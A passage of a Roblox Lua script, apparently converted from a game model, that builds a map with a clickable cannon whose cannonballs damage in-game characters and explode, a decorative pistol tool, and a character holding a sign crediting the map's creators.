Part1230.brickColor = BrickColor.new("Really black")
Part1230.Shape = Enum.PartType.Cylinder
Weld1231.Parent = Part1230
Weld1231.C0 = CFrame.new(-0.5, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Weld1231.C1 = CFrame.new(1.71661377e-05, -0.200332642, 0.000106811523, 0.999994516, 4.69619408e-07, -5.77419996e-07, -6.07455149e-07, 1.25169754e-06, 0.999997139, -4.69619408e-07, -1.00000024, -1.25169754e-06)
Weld1231.Part0 = Part1230
Weld1231.Part1 = Part1222
Weld1231.part1 = Part1222
Part1232.Name = "Switch"
Part1232.Parent = Model1228
Part1232.CFrame = CFrame.new(195.90126, 2.98447418, -93.4779663, -0.889143705, -0.314089686, -0.332805932, -0.457607716, 0.61451751, 0.642617822, 0.00267491047, 0.723683298, -0.690127552)
Part1232.Orientation = Vector3.new(-39.9900017, -154.25, -36.6699982)
Part1232.Position = Vector3.new(195.90126, 2.98447418, -93.4779663)
Part1232.Rotation = Vector3.new(-137.039993, -19.4400005, 160.539993)
Part1232.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part1232.Size = Vector3.new(1, 0.400000006, 1)
Part1232.Anchored = true
Part1232.BottomSurface = Enum.SurfaceType.Weld
Part1232.BrickColor = BrickColor.new("Bright green")
Part1232.TopSurface = Enum.SurfaceType.Smooth
Part1232.brickColor = BrickColor.new("Bright green")
Sound1233.Name = "GunSound"
Sound1233.Parent = Part1232
Sound1233.PlayOnRemove = true
Sound1233.SoundId = "rbxasset://sounds/collide.wav"
Sound1233.Volume = 1
ClickDetector1234.Parent = Part1232
ClickDetector1234.MaxActivationDistance = 6
Script1235.Name = "CannonBall"
Script1235.Parent = Part1232
table.insert(cors,sandbox(Script1235,function()
ball = script.Parent
damage = 100
function onTouched(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
if humanoid~=nil then
tagHumanoid(humanoid)
humanoid.Health = humanoid.Health - damage
wait(0.00000001)
untagHumanoid(humanoid)
connection:disconnect()
else
damage = damage / 2
if damage < 2 then
connection:disconnect()
ball.Parent = nil
end
end
if math.random(1,1) == 1 then
explosion = Instance.new("Explosion")
explosion.BlastRadius = 6
explosion.BlastPressure = 100000 -- these are really wussy units
explosion.Position = script.Parent.Position
explosion.Parent = game.Workspace
connection:disconnect()
ball.Parent = nil
cancollide = true
end
end
function tagHumanoid(humanoid)
-- todo: make tag expire
local tag = ball:findFirstChild("creator")
if tag ~= nil then
local new_tag = tag:clone()
new_tag.Parent = humanoid
end
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
connection = ball.Touched:connect(onTouched)
r = game:service("RunService")
t, s = r.Stepped:wait()
d = t + 5.0 - s
while t < d do
t = r.Stepped:wait()
end
ball.Parent = nil
end))
Script1235.Disabled = true
Script1236.Name = "FireGun"
Script1236.Parent = Part1232
table.insert(cors,sandbox(Script1236,function()
local switch = script.Parent
local gunBarrelOne = script.Parent.Parent.GunBarrel.One
local debounce = false
local gunOne = true
local cannonBall = Instance.new("Part")
cannonBall.Size = Vector3.new(1,1,1)
cannonBall.BrickColor = BrickColor.new(26) -- medium blue
cannonBall.Shape = 0
cannonBall.BottomSurface = 0
cannonBall.TopSurface = 0
cannonBall.Name = "Cannon Shot"
cannonBall.Elasticity = .1
cannonBall.Reflectance = .2
cannonBall.Friction = .5
function fire(player)
local sound = script.Parent:findFirstChild("GunSound")
if sound == nil then
sound = Instance.new("Sound")
sound.Name = "GunSound"
sound.SoundId = "rbxasset://sounds\collide.wav"
sound.Volume = 1
sound.Parent = script.Parent
end
sound:play()
local missile = Instance.new("Part")
local barrel
if gunOne == true then
barrel = gunBarrelOne
gunOne = true
end
local spawnPos = barrel.CFrame * Vector3.new(6, 0, 0)
local dx = math.random(50,50)
local dy = math.random(0,0)
local dz = math.random(0,0)
local mag = math.random(200,200)
local v = barrel.CFrame:vectorToWorldSpace(Vector3.new(mag + dx,dy,dz))
local missile = cannonBall:clone()
missile.Position = spawnPos
missile.Velocity = v
local new_script = script.Parent.CannonBall:clone()
new_script.Disabled = false
new_script.Parent = missile
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = missile
missile.Parent = game.Workspace
end
function onClicked()
if debounce == false then
debounce = true
switch.BrickColor = BrickColor.new(21)
-- let slip the dogs of war
fire(player)
wait(.001)
wait(3)
debounce = false
switch.BrickColor = BrickColor.new(37)
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
end))
Tool1237.Name = "Pistol"
Tool1237.Parent = Model0
Part1238.Name = "Main"
Part1238.Parent = Tool1237
Part1238.CFrame = CFrame.new(198.916794, 1.18052697, -117.203506, -0.965925813, 0, 0.258819133, 0, 1, 0, -0.258819133, 0, -0.965925813)
Part1238.Orientation = Vector3.new(0, 165, 0)
Part1238.Position = Vector3.new(198.916794, 1.18052697, -117.203506)
Part1238.Rotation = Vector3.new(-180, 15, -180)
Part1238.Color = Color3.new(0.388235, 0.372549, 0.384314)
Part1238.Transparency = 1
Part1238.Size = Vector3.new(0.200000003, 0.280000031, 0.200000003)
Part1238.Anchored = true
Part1238.BrickColor = BrickColor.new("Dark stone grey")
Part1238.CanCollide = false
Part1238.brickColor = BrickColor.new("Dark stone grey")
Part1239.Name = "Handle"
Part1239.Parent = Tool1237
Part1239.CFrame = CFrame.new(199.411331, 0.641961992, -118.86393, -0.965925813, 0, 0.258819133, 0, 1, 0, -0.258819133, 0, -0.965925813)
Part1239.Orientation = Vector3.new(0, 165, 0)
Part1239.Position = Vector3.new(199.411331, 0.641961992, -118.86393)
Part1239.Rotation = Vector3.new(-180, 15, -180)
Part1239.Color = Color3.new(0.388235, 0.372549, 0.384314)
Part1239.Transparency = 1
Part1239.Size = Vector3.new(0.390000105, 0.360000014, 0.470000029)
Part1239.Anchored = true
Part1239.BrickColor = BrickColor.new("Dark stone grey")
Part1239.CanCollide = false
Part1239.brickColor = BrickColor.new("Dark stone grey")
Part1240.Parent = Tool1237
Part1240.CFrame = CFrame.new(199.159149, 1.31374395, -118.251091, 0.25881651, 1.42699774e-09, 0.965926468, -1.56664959e-11, 1, -1.47313806e-09, -0.965926468, 3.66139563e-10, 0.25881651)
Part1240.Orientation = Vector3.new(0, 75, 0)
Part1240.Position = Vector3.new(199.159149, 1.31374395, -118.251091)
Part1240.Rotation = Vector3.new(0, 75, 0)
Part1240.Color = Color3.new(0.388235, 0.372549, 0.384314)
Part1240.Size = Vector3.new(1.65956223, 0.41639924, 0.555198967)
Part1240.Anchored = true
Part1240.BrickColor = BrickColor.new("Dark stone grey")
Part1240.CanCollide = false
Part1240.TopSurface = Enum.SurfaceType.Smooth
Part1240.brickColor = BrickColor.new("Dark stone grey")
Part1241.Parent = Tool1237
Part1241.CFrame = CFrame.new(199.141373, 1.14778304, -118.021568, 0.258819997, -2.1701102e-05, 0.965925574, 1.34616835e-06, 1, 2.21059327e-05, -0.965925574, -4.42115879e-06, 0.258819997)
Part1241.Orientation = Vector3.new(0, 75, 0)
Part1241.Position = Vector3.new(199.141373, 1.14778304, -118.021568)
Part1241.Rotation = Vector3.new(0, 75, 0)
Part1241.Size = Vector3.new(1.4966234, 0.434503585, 0.410364509)
Part1241.Anchored = true
Part1241.BottomSurface = Enum.SurfaceType.Smooth
Part1241.CanCollide = false
Part1241.TopSurface = Enum.SurfaceType.Smooth
Part1242.Parent = Tool1237
Part1242.CFrame = CFrame.new(199.004288, 1.17493796, -117.464767, 0.258818388, 0, 0.965925992, 0, 1, 0, -0.965925992, 0, 0.258818388)
Part1242.Orientation = Vector3.new(0, 75, 0)
Part1242.Position = Vector3.new(199.004288, 1.17493796, -117.464767)
Part1242.Rotation = Vector3.new(0, 75, 0)
Part1242.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part1242.Size = Vector3.new(0.60347718, 0.331912458, 0.325877696)
Part1242.Anchored = true
Part1242.BottomSurface = Enum.SurfaceType.Smooth
Part1242.BrickColor = BrickColor.new("Really black")
Part1242.CanCollide = false
Part1242.TopSurface = Enum.SurfaceType.Smooth
Part1242.brickColor = BrickColor.new("Really black")
Part1242.Shape = Enum.PartType.Cylinder
Part1243.Name = "Mag"
Part1243.Parent = Tool1237
Part1243.CFrame = CFrame.new(199.343384, 0.968603015, -118.89209, -0.965925813, 0, 0.258819133, 0, 1, 0, -0.258819133, 0, -0.965925813)
Part1243.Orientation = Vector3.new(0, 165, 0)
Part1243.Position = Vector3.new(199.343384, 0.968603015, -118.89209)
Part1243.Rotation = Vector3.new(-180, 15, -180)
Part1243.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part1243.Size = Vector3.new(0.398295075, 0.657790065, 0.277599484)
Part1243.Anchored = true
Part1243.BrickColor = BrickColor.new("Really black")
Part1243.CanCollide = false
Part1243.brickColor = BrickColor.new("Really black")
Part1244.Parent = Tool1237
Part1244.CFrame = CFrame.new(199.331665, 0.675916016, -118.848373, -0.965925813, 0, 0.258819133, 0, 1, 0, -0.258819133, 0, -0.965925813)
Part1244.Orientation = Vector3.new(0, 165, 0)
Part1244.Position = Vector3.new(199.331665, 0.675916016, -118.848373)
Part1244.Rotation = Vector3.new(-180, 15, -180)
Part1244.Size = Vector3.new(0.410364628, 1.35178888, 0.428468794)
Part1244.Anchored = true
Part1244.BottomSurface = Enum.SurfaceType.Smooth
Part1244.CanCollide = false
Part1244.TopSurface = Enum.SurfaceType.Smooth
Part1245.Name = "AimPart"
Part1245.Parent = Tool1237
Part1245.CFrame = CFrame.new(199.049301, 1.80194497, -117.985695, -0.965925813, 0, 0.258819133, 0, 1, 0, -0.258819133, 0, -0.965925813)
Part1245.Orientation = Vector3.new(0, 165, 0)
Part1245.Position = Vector3.new(199.049301, 1.80194497, -117.985695)
Part1245.Rotation = Vector3.new(-180, 15, -180)
Part1245.Color = Color3.new(0.388235, 0.372549, 0.384314)
Part1245.Transparency = 1
Part1245.Size = Vector3.new(0.529999971, 0.560000002, 0.570000052)
Part1245.Anchored = true
Part1245.BrickColor = BrickColor.new("Dark stone grey")
Part1245.CanCollide = false
Part1245.brickColor = BrickColor.new("Dark stone grey")
Model1246.Name = "Noob Holding Sign"
Model1246.Parent = Model0
Part1247.Name = "Sign"
Part1247.Parent = Model1246
Part1247.CFrame = CFrame.new(-6.27307367, 6.94996643, -7.24505091, 0.499992579, 0, -0.866029739, 0, 0.99999994, 0, 0.866029859, 0, 0.499992549)
Part1247.Orientation = Vector3.new(0, -60, 0)
Part1247.Position = Vector3.new(-6.27307367, 6.94996643, -7.24505091)
Part1247.Rotation = Vector3.new(0, -60, 0)
Part1247.Color = Color3.new(0.666667, 0.333333, 0)
Part1247.Size = Vector3.new(5, 3, 1)
Part1247.Anchored = true
Part1247.BottomSurface = Enum.SurfaceType.Smooth
Part1247.BrickColor = BrickColor.new("CGA brown")
Part1247.Material = Enum.Material.Wood
Part1247.TopSurface = Enum.SurfaceType.Smooth
Part1247.brickColor = BrickColor.new("CGA brown")
SurfaceGui1248.Parent = Part1247
SurfaceGui1248.CanvasSize = Vector2.new(500, 300)
SurfaceGui1248.Adornee = Part1247
TextLabel1249.Parent = SurfaceGui1248
TextLabel1249.Size = UDim2.new(1, 0, 1, 0)
TextLabel1249.BackgroundColor = BrickColor.new("Institutional white")
TextLabel1249.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel1249.BackgroundTransparency = 1
TextLabel1249.BorderSizePixel = 0
TextLabel1249.Font = Enum.Font.Cartoon
TextLabel1249.FontSize = Enum.FontSize.Size14
TextLabel1249.Text = "Map created by bananabacon98 and MrrSandmann"
TextLabel1249.TextColor = BrickColor.new("Institutional white")
TextLabel1249.TextColor3 = Color3.new(1, 1, 1)
TextLabel1249.TextScaled = true
TextLabel1249.TextSize = 14
TextLabel1249.TextStrokeTransparency = 0
TextLabel1249.TextWrap = true
TextLabel1249.TextWrapped = true
Humanoid1250.Parent = Model1246
Humanoid1250.LeftLeg = Part1251
Humanoid1250.MaxHealth = 0
Humanoid1250.NameOcclusion = Enum.NameOcclusion.NoOcclusion
Humanoid1250.RightLeg = Part1257
Humanoid1250.Torso = Part1252
Humanoid1250.maxHealth = 0
Part1251.Name = "Left Leg"
Part1251.Parent = Model1246
Part1251.CFrame = CFrame.new(-6.60276413, 1.00000429, -7.51647186, 0.499988288, -1.6388899e-06, -0.866037428, -3.79145569e-11, 0.99999994, -1.89243838e-06, 0.866037428, 9.46227487e-07, 0.499988288)
Part1251.Orientation = Vector3.new(0, -60, 0)
Part1251.Position = Vector3.new(-6.60276413, 1.00000429, -7.51647186)
Part1251.Rotation = Vector3.new(0, -60, 0)
Part1251.Color = Color3.new(0.643137, 0.741176, 0.278431)
Part1251.Size = Vector3.new(1, 2, 1)
Part1251.Anchored = true
Part1251.BottomSurface = Enum.SurfaceType.Smooth
Part1251.BrickColor = BrickColor.new("Br. yellowish green")
Part1251.TopSurface = Enum.SurfaceType.Smooth
Part1251.brickColor = BrickColor.new("Br. yellowish green")
Part1251.FormFactor = Enum.FormFactor.Symmetric
Part1251.formFactor = Enum.FormFactor.Symmetric
Part1252.Name = "Torso"
Part1252.Parent = Model1246
Part1252.CFrame = CFrame.new(-6.35274172, 2.99998093, -7.08290815, 0.499988288, -1.6388899e-06, -0.866037428, -3.79145569e-11, 0.99999994, -1.89243838e-06, 0.866037428, 9.46227487e-07, 0.499988288)
Part1252.Orientation = Vector3.new(0, -60, 0)
Part1252.Position = Vector3.new(-6.35274172, 2.99998093, -7.08290815)
Part1252.Rotation = Vector3.new(0, -60, 0)
Part1252.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part1252.Size = Vector3.new(2, 2, 1)
Part1252.Anchored = true
Part1252.BottomSurface = Enum.SurfaceType.Smooth
Part1252.BrickColor = BrickColor.new("Bright blue")
Part1252.LeftParamA = 0
Part1252.LeftParamB = 0
Part1252.RightParamA = 0
Part1252.RightParamB = 0
Part1252.TopSurface = Enum.SurfaceType.Smooth
Part1252.brickColor = BrickColor.new("Bright blue")
Part1252.FormFactor = Enum.FormFactor.Symmetric
Part1252.formFactor = Enum.FormFactor.Symmetric
Part1253.Name = "Head"
Part1253.Parent = Model1246
Part1253.CFrame = CFrame.new(-6.35274458, 4.49995804, -7.08290625, 0.499986023, -6.60722344e-06, -0.866034627, -1.85827492e-10, 1.00000381, -7.31646969e-06, 0.866033494, 3.81474229e-06, 0.499986678)
Part1253.Orientation = Vector3.new(0, -60, 0)
Part1253.Position = Vector3.new(-6.35274458, 4.49995804, -7.08290625)
Part1253.Rotation = Vector3.new(0, -60, 0)
Part1253.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part1253.Size = Vector3.new(2, 1, 1)
Part1253.Anchored = true
Part1253.BottomSurface = Enum.SurfaceType.Smooth
Part1253.BrickColor = BrickColor.new("Bright yellow")
Part1253.TopSurface = Enum.SurfaceType.Smooth
Part1253.brickColor = BrickColor.new("Bright yellow")
Part1253.FormFactor = Enum.FormFactor.Symmetric
Part1253.formFactor = Enum.FormFactor.Symmetric
SpecialMesh1254.Parent = Part1253
SpecialMesh1254.Scale = Vector3.new(1.25, 1.25, 1.25)
Decal1255.Name = "face"
Decal1255.Parent = Part1253
Decal1255.Texture = "rbxasset://textures/face.png"
Part1256.Name = "Left Arm"
Part1256.Parent = Model1246
Part1256.CFrame = CFrame.new(-7.10422897, 4.44996023, -8.3833437, 0.499988288, 1.6388899e-06, 0.866037428, -3.79145569e-11, -0.99999994, 1.89243838e-06, 0.866037428, -9.46227487e-07, -0.499988288)
Part1256.Orientation = Vector3.new(0, 120, -180)
Part1256.Position = Vector3.new(-7.10422897, 4.44996023, -8.3833437)
Part1256.Rotation = Vector3.new(-180, 60, 0)
Part1256.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part1256.Size = Vector3.new(1, 2, 1)
Part1256.Anchored = true
Part1256.BottomSurface = Enum.SurfaceType.Smooth
Part1256.BrickColor = BrickColor.new("Bright yellow")
Part1256.TopSurface = Enum.SurfaceType.Smooth
Part1256.brickColor = BrickColor.new("Bright yellow")
Part1256.FormFactor = Enum.FormFactor.Symmetric
Part1256.formFactor = Enum.FormFactor.Symmetric
Part1257.Name = "Right Leg"
Part1257.Parent = Model1246
Part1257.CFrame = CFrame.new(-6.10323477, 1.0000031, -6.65073872, 0.499988288, -1.6388899e-06, -0.866037428, -3.79145569e-11, 0.99999994, -1.89243838e-06, 0.866037428, 9.46227487e-07, 0.499988288)
Part1257.Orientation = Vector3.new(0, -60, 0)
Part1257.Position = Vector3.new(-6.10323477, 1.0000031, -6.65073872)
Part1257.Rotation = Vector3.new(0, -60, 0)
Part1257.Color = Color3.new(0.643137, 0.741176, 0.278431)
Part1257.Size = Vector3.new(1, 2, 1)
Part1257.Anchored = true
Part1257.BottomSurface = Enum.SurfaceType.Smooth
Part1257.BrickColor = BrickColor.new("Br. yellowish green")
Part1257.TopSurface = Enum.SurfaceType.Smooth
Part1257.brickColor = BrickColor.new("Br. yellowish green")
Part1257.FormFactor = Enum.FormFactor.Symmetric
Part1257.formFactor = Enum.FormFactor.Symmetric
Part1258.Name = "Right Arm"
Part1258.Parent = Model1246
Part1258.CFrame = CFrame.new(-5.60388756, 4.44995785, -5.78433657, 0.499988288, -1.6388899e-06, -0.866037428, -3.79145569e-11, 0.99999994, -1.89243838e-06, 0.866037428, 9.46227487e-07, 0.499988288)
Part1258.Orientation = Vector3.new(0, -60, 0)
Part1258.Position = Vector3.new(-5.60388756, 4.44995785, -5.78433657)
Part1258.Rotation = Vector3.new(0, -60, 0)
Part1258.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part1258.Size = Vector3.new(1, 2, 1)
Part1258.Anchored = true
Part1258.BottomSurface = Enum.SurfaceType.Smooth
Part1258.BrickColor = BrickColor.new("Bright yellow")
Part1258.TopSurface = Enum.SurfaceType.Smooth
Part1258.brickColor = BrickColor.new("Bright yellow")
Part1258.FormFactor = Enum.FormFactor.Symmetric
Part1258.formFactor = Enum.FormFactor.Symmetric
for i,v in pairs(mas:GetChildren()) do
v.Parent = workspace
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end